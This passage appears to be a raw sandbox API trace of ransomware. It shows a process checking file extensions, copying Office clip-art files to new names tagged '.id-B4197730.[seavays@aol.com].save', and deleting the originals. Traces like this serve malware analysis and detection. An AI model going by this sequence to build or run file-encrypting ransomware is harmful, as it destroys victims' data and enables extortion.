lpString2=".BMP") returned 1 [0209.439] lstrlenW (lpString=".docx") returned 5 [0209.439] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0209.439] lstrlenW (lpString=".pdf") returned 4 [0209.439] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0209.439] lstrlenW (lpString=".xls") returned 4 [0209.439] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0209.439] lstrlenW (lpString=".xlsx") returned 5 [0209.439] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0209.439] lstrlenW (lpString=".ppt") returned 4 [0209.439] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0209.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0209.439] lstrlenW (lpString=".zip") returned 4 [0209.439] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0209.439] lstrlenW (lpString=".rar") returned 4 [0209.439] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0209.439] lstrlenW (lpString=".bz2") returned 4 [0209.439] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0209.439] lstrlenW (lpString=".7z") returned 3 [0209.439] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0209.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0209.439] lstrlenW (lpString=".dbf") returned 4 [0209.439] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0209.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0209.440] lstrlenW (lpString=".1cd") returned 4 [0209.440] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0209.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0209.440] lstrlenW (lpString=".jpg") returned 4 [0209.440] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0209.440] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.440] lstrlenW (lpString="J0103058.WMF") returned 12 [0209.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.440] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=17344) returned 1 [0209.441] CloseHandle (hObject=0x374) returned 1 [0209.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 0x220 [0209.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.441] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.441] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0209.442] GetLastError () returned 0x0 [0209.442] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x43c0, lpOverlapped=0x0) returned 1 [0209.444] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x43d0, lpOverlapped=0x0) returned 1 [0209.446] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.446] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.446] SetEndOfFile (hFile=0x378) returned 1 [0209.446] CloseHandle (hObject=0x378) returned 1 [0209.446] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.446] SetEndOfFile (hFile=0x374) returned 1 [0209.448] CloseHandle (hObject=0x374) returned 1 [0209.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 1 [0209.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0209.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0209.449] lstrlenW (lpString=".doc") returned 4 [0209.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.449] lstrlenW (lpString=".docx") returned 5 [0209.449] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0209.449] lstrlenW (lpString=".pdf") returned 4 [0209.449] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.449] lstrlenW (lpString=".xls") returned 4 [0209.449] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.449] lstrlenW (lpString=".xlsx") returned 5 [0209.449] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0209.449] lstrlenW (lpString=".ppt") returned 4 [0209.449] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0209.449] lstrlenW (lpString=".zip") returned 4 [0209.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.450] lstrlenW (lpString=".rar") returned 4 [0209.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.450] lstrlenW (lpString=".bz2") returned 4 [0209.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.450] lstrlenW (lpString=".7z") returned 3 [0209.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0209.450] lstrlenW (lpString=".dbf") returned 4 [0209.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0209.450] lstrlenW (lpString=".1cd") returned 4 [0209.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0209.450] lstrlenW (lpString=".jpg") returned 4 [0209.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0209.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0209.450] lstrlenW (lpString=".doc") returned 4 [0209.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.450] lstrlenW (lpString=".docx") returned 5 [0209.450] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0209.450] lstrlenW (lpString=".pdf") returned 4 [0209.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.450] lstrlenW (lpString=".xls") returned 4 [0209.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.451] lstrlenW (lpString=".xlsx") returned 5 [0209.451] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0209.451] lstrlenW (lpString=".ppt") returned 4 [0209.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0209.451] lstrlenW (lpString=".zip") returned 4 [0209.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.451] lstrlenW (lpString=".rar") returned 4 [0209.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.451] lstrlenW (lpString=".bz2") returned 4 [0209.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.451] lstrlenW (lpString=".7z") returned 3 [0209.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0209.451] lstrlenW (lpString=".dbf") returned 4 [0209.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0209.452] lstrlenW (lpString=".1cd") returned 4 [0209.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0209.452] lstrlenW (lpString=".jpg") returned 4 [0209.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.452] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.452] lstrlenW (lpString="J0103262.WMF") returned 12 [0209.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.453] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=12900) returned 1 [0209.453] CloseHandle (hObject=0x374) returned 1 [0209.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 0x220 [0209.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.453] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.453] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0209.454] GetLastError () returned 0x0 [0209.454] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x3264, lpOverlapped=0x0) returned 1 [0209.456] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x3270, lpOverlapped=0x0) returned 1 [0209.457] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.458] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.458] SetEndOfFile (hFile=0x378) returned 1 [0209.458] CloseHandle (hObject=0x378) returned 1 [0209.458] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.458] SetEndOfFile (hFile=0x374) returned 1 [0209.459] CloseHandle (hObject=0x374) returned 1 [0209.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 1 [0209.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0209.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0209.460] lstrlenW (lpString=".doc") returned 4 [0209.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.460] lstrlenW (lpString=".docx") returned 5 [0209.460] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.461] lstrlenW (lpString=".pdf") returned 4 [0209.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.461] lstrlenW (lpString=".xls") returned 4 [0209.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.461] lstrlenW (lpString=".xlsx") returned 5 [0209.461] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.461] lstrlenW (lpString=".ppt") returned 4 [0209.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0209.461] lstrlenW (lpString=".zip") returned 4 [0209.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.461] lstrlenW (lpString=".rar") returned 4 [0209.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.461] lstrlenW (lpString=".bz2") returned 4 [0209.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.461] lstrlenW (lpString=".7z") returned 3 [0209.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0209.461] lstrlenW (lpString=".dbf") returned 4 [0209.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0209.461] lstrlenW (lpString=".1cd") returned 4 [0209.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0209.461] lstrlenW (lpString=".jpg") returned 4 [0209.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0209.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0209.462] lstrlenW (lpString=".doc") returned 4 [0209.462] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.462] lstrlenW (lpString=".docx") returned 5 [0209.462] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.462] lstrlenW (lpString=".pdf") returned 4 [0209.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.462] lstrlenW (lpString=".xls") returned 4 [0209.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.462] lstrlenW (lpString=".xlsx") returned 5 [0209.462] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.462] lstrlenW (lpString=".ppt") returned 4 [0209.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0209.462] lstrlenW (lpString=".zip") returned 4 [0209.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.462] lstrlenW (lpString=".rar") returned 4 [0209.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.462] lstrlenW (lpString=".bz2") returned 4 [0209.462] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.462] lstrlenW (lpString=".7z") returned 3 [0209.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0209.463] lstrlenW (lpString=".dbf") returned 4 [0209.463] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0209.463] lstrlenW (lpString=".1cd") returned 4 [0209.463] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0209.463] lstrlenW (lpString=".jpg") returned 4 [0209.463] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.463] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.463] lstrlenW (lpString="J0103402.WMF") returned 12 [0209.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.464] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=44948) returned 1 [0209.464] CloseHandle (hObject=0x374) returned 1 [0209.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 0x220 [0209.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.464] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.464] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0209.466] GetLastError () returned 0x0 [0209.466] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0xaf94, lpOverlapped=0x0) returned 1 [0209.878] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xafa0, lpOverlapped=0x0) returned 1 [0209.880] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.880] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.881] SetEndOfFile (hFile=0x378) returned 1 [0209.881] CloseHandle (hObject=0x378) returned 1 [0209.881] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.881] SetEndOfFile (hFile=0x374) returned 1 [0209.882] CloseHandle (hObject=0x374) returned 1 [0209.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 1 [0209.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0209.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0209.883] lstrlenW (lpString=".doc") returned 4 [0209.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.883] lstrlenW (lpString=".docx") returned 5 [0209.883] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.883] lstrlenW (lpString=".pdf") returned 4 [0209.883] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.883] lstrlenW (lpString=".xls") returned 4 [0209.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.883] lstrlenW (lpString=".xlsx") returned 5 [0209.883] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.883] lstrlenW (lpString=".ppt") returned 4 [0209.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0209.884] lstrlenW (lpString=".zip") returned 4 [0209.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.884] lstrlenW (lpString=".rar") returned 4 [0209.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.884] lstrlenW (lpString=".bz2") returned 4 [0209.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.884] lstrlenW (lpString=".7z") returned 3 [0209.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0209.884] lstrlenW (lpString=".dbf") returned 4 [0209.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0209.884] lstrlenW (lpString=".1cd") returned 4 [0209.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0209.884] lstrlenW (lpString=".jpg") returned 4 [0209.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0209.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0209.884] lstrlenW (lpString=".doc") returned 4 [0209.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.884] lstrlenW (lpString=".docx") returned 5 [0209.884] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.884] lstrlenW (lpString=".pdf") returned 4 [0209.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.884] lstrlenW (lpString=".xls") returned 4 [0209.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.884] lstrlenW (lpString=".xlsx") returned 5 [0209.884] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.884] lstrlenW (lpString=".ppt") returned 4 [0209.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0209.885] lstrlenW (lpString=".zip") returned 4 